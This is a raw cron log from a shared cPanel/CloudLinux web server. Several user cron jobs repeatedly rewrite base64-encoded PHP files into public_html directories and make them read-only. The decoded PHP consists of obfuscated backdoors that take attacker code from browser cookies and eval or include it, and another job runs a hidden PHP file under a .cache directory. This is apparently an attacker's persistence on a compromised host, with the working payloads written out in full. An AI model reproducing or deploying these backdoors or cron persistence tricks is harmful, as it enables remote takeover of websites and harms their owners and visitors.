Mar  1 08:54:01 medusa CROND[2716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:55:01 medusa CROND[24567]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 08:55:01 medusa CROND[24568]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:55:01 medusa CROND[24569]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 08:55:01 medusa CROND[24571]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 08:55:01 medusa CROND[24575]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 08:55:01 medusa CROND[24574]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 08:55:01 medusa CROND[24576]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:55:01 medusa CROND[24577]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:55:01 medusa CROND[24573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 08:55:01 medusa CROND[24579]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:55:01 medusa CROND[24584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:55:01 medusa CROND[24588]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:55:01 medusa CROND[24591]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 08:55:01 medusa CROND[24597]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:55:01 medusa CROND[24582]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 08:55:01 medusa CROND[24585]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 08:55:01 medusa CROND[24600]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 08:55:01 medusa CROND[24583]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 08:55:01 medusa CROND[24601]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:55:01 medusa CROND[24605]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:55:01 medusa CROND[24606]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:55:01 medusa CROND[24598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:56:01 medusa CROND[13051]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 08:56:01 medusa CROND[13092]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 08:56:01 medusa CROND[13093]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:56:01 medusa CROND[13095]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:56:01 medusa CROND[13094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:56:01 medusa CROND[13097]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:56:01 medusa CROND[13096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:56:01 medusa CROND[13100]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:56:01 medusa CROND[13101]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:56:01 medusa CROND[13103]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:56:01 medusa CROND[13105]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:56:01 medusa CROND[13107]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:56:01 medusa CROND[13117]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:56:01 medusa CROND[13118]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:57:01 medusa CROND[2978]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:57:01 medusa CROND[2979]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
